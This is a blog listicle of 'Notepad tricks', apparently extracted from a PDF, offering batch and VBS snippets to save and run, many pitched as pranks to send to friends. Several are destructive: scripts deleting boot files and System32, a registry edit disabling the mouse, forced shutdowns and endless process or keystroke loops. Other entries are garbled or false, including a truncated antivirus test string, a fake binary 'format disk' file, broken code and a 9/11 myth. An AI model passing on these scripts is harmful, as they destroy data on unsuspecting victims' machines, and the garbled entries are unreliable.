Download as pdf or txt
Download as pdf or txt
You are on page 1of 10

20+ Best Notepad Tricks, Hacks &

Commands in 2023
By Manpreet Singh - July 14, 2023

Today we are here with the latest Notepad tricks and commands. These
tricks are very simple and easy to implement. With these tricks, you can
have lots of fun with your friends. Just follow the below post to proceed.

Notepad is a utility program for the Windows operating system. This utility
software helps to code various programs that can even control the system
workings through which you can perform many tricks. These tricks are
exciting, and you can use these tricks to prank your friends.

We primarily use Notepad for typing purposes, but this post will change
your experience with Notepad. These tricks are very simple and easy to
implement. With these tricks, you can have lots of fun with your friends.
Just follow the below post to proceed.

Also Read: Best PC Tricks and PC Hacks

Contents [ show ]

Best Notepad Tricks, Hacks & Commands


You will have great fun. Just read out all the tricks given below. You need to
copy the code from here and paste into Notepad and save it with an
extension “.bat”.

1) Notepad trick to Test Antivirus

By using this trick, you can quickly test whether your antivirus is working
perfectly or not.

X5O!P%@AP[4PZX54(P^) 7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-

Save it as test.exe and run the file and check if your antivirus detects it; then
your antivirus is working perfectly; otherwise, change your antivirus.
2) Make A Personal Log-Book or A Diary

Copy the code below, paste it into Notepad, and save it as “log.txt”.

.LOG

Every time you open this log file, you will have all the log details with the
date and time.

3) Constantly Repeat Any Messages

This is one of the Best Notepad tricks, repeatedly repeating any of the
computer screen’s messages. Copy the below code, paste it into Notepad,
and save it as “message.bat”.

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

4) Continually pop out the CD Drive Using Notepad

This is my favorite trick, as it continually pops out of the CD drive whenever


you try to close it. Copy the code below, paste it into Notepad, and save it as
“cd.vbs”.

Set oWMP = CreateObject(“WMPlayer.OCX.7″)


Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

5) Convey your friend a message and shut down their


computer

Just copy the below code and paste into Notepad and save it as
“anyname.bat”.

@echo off
msg * Hey how are you
shutdown -c “Error! You are a stupid!” -s

6) Notepad Trick to type slowly

This trick will let you type slowly on the screen, and to do so, copy the below
code and save it with “anyname.vbs” name.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate Notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

7) Matrix Effect

This code will give you a matrix effect on your screen just copy the below
code and paste in Notepad and save it as “anyname.bat”.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random%
goto start

8) Format Hard Disk Using Just Notepad

This code will delete all your complex drive data. Just copy the below code
and paste into Notepad and save it as “anyname.exe”.

01100110011011110111001001101101011000010111010000 10000001

9) Convert Text Into Audio Using Notepad

This is a very cool notepad trick, and this code will convert your text into an
audio file. Just copy the below code and paste it into Notepad and save it
as “text-to-audio.vbs”

Dim message, sapi message=InputBox(“Enter your text for con

10) Notepad Trick Print Tree Root

This trick is one of the Best Notepad Tricks that will print out a tree root on
your screen. Just copy the below code, paste it into Notepad and save it as
any name in C: windows system.
{print tree root}
C:windowssystem
{print C:windowssystemwinlog
4*43″$@[455] 3hr4~

Note: If you want to stop the “.vbs” files, press ALT+CTRL+DEL on your

keyboard, open the task manager, process the section and stop the Wscript
running file there.

11) Toggle Your Capslock

You can toggle the Capslock key of your keyboard by just typing the code in
Notepad. Make sure to save the file as .vbs, open the saved file, and see
what happens while using Capslock Key.

Set wshShell =wscript.CreateObject(“WScript.Shell”)


do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

12) Fake Error Message

Open the Notepad, paste the code and save the file as error.vbs. When you
open the saved file, you will see an error message.

X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)

You can replace and put your message here and put your title here with your
keywords.

13) LED Dance of Keyboard Using Notepad

Open Notepad, enter the following code, and save the file as
“LEDDance.vbs”. Once you open the saved file, you will see all three LED
lights of a keyboard will start to blink repeatedly.

Set wshShell =wscript.CreateObject(“WScript.Shell”)


do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

14) Create a Password Protected File Using Notepad

We have published an article regarding this. With the help of our article How
to Create a Password Protected Folder Without any Software, you can
create a password-protected folder using Notepad. Read out the post to
know how.

15) Open Notepad Continuously

This is the perfect prank to annoy your friend. You need to copy and paste
the code inside the Notepad and save it with any name with the .bat
extension. You can send it to your friend and make them click.

@ECHO OFF
:TOP
START %SYSTEMROOT%\SYSTEM32\NOTEPAD.EXE
GOTO TOP

16. World Trade Center Attack Trick

The flight number of the airplane that hit the World Trade center on 9/11
was Q33NY. You might call this trick coincidence, but it will shock you.

1. Open Notepad and type ‘Q33N’ without the quotation mark in capital
letters.

2. Now, increase the font size to 72 and change the font to Wingdings.

You will be shocked to find out the visual graphics.

17) Disable Mouse Controls

It would help if you had never tried this on your computer because this
method disables the mouse controls.

rem Disable Mouse


set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Servic
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Paste the above code in Notepad and save it as disablemouse.bat on your
computer.

18) Bush Hid The Facts

Well, this trick will only work on the older version of windows. You need to
open the Notepad and type “bush hid the facts” or “this app can break”.

Save it and open it again. You will see different characters instead of what
you typed. Well, this happens because of a bug that is present in the older
version of windows.

19) Changing The Header And Footer In Notepad

Well, open the Notepad and then browse to File>Page Setup in Notepad,
and there in the fields for header and footer, type in the following codes.

&c Center the characters that follow


&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number
&l Left-align the characters that follow
20) Hit Enter Continuously

This trick will let you use the function of the enter button to happen again
and again. Well, you need to copy and paste the following code into
Notepad:

Set wshShell = wscript.CreateObject(“WScript.Shell”)


do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Save the file as a .vbs file format to see the magic.

21) Deleting Startup Files

Well, this is something that you shouldn’t try on your computer unless you
are willing to lose all your data. This code will remove the files that help
your computer during the startup.

@ECHO OFF
ATTRIB -R -S -H C:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI

Save the file in .bat file format. It will shut down your computer and will
delete all-important startup files. There’s no rollback option. Therefore you
should be aware of what you will be doing. Please don’t use the above-given
code to harm anyone.

22) Hit Backspace Continuously

This is one of the funniest things you can do to annoy anyone. This trick will
make hit backspace continuously. You need to copy and paste the given
code below in the notepad file:
MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

To make it work, you need to save the Notepad file in .vbs format. It would
help if you used the Task Manager on Windows to stop the script.

23) Deleting System32 Files Using Notepad

Well, this is another notepad trick to devastate a PC. This notepad trick will
delete System32 files leading to system failure. It’s not advisable to
implement the trick, but this code has the power to shut down any working
computer within minutes.

DEL C:\WINDOWS\SYSTEM32\*.*/Q

Make sure to save the notepad file in .bat file format.

24) Type any sentence again and again

This is another fun notepad trick that can be used to pull a prank on friends.
This notepad trick will write anything again and again and again. Users
need to manually close the process from the task manager to get out of the
typing loop. Here’s the code.

Set wshShell = wscript.CreateObject(“WScript.Shell”)


do
wscript.sleep 100
wshshell.sendkeys “I'll be typed again and again”
loop

Make sure to save the notepad file in .vbs file format.

25) Force windows to shut down

This is another notepad trick that will forcefully shut down your computer.
You must enter the given code into Notepad and save it in .bat format.
Here’s the code.
@echo off
shutdown computer
-c "sleep tight" -s

Make sure to save the Notepad in .bat format.

Also Read: How To Create Fake Harmless Virus Using Notepad

Using these notepad tricks, you can easily prank your friends, have lots of
fun with them, and have a great experience with Notepad. I hope you like
the post, don’t forget to share it with your friends and leave a comment
below about any related queries.

You might also like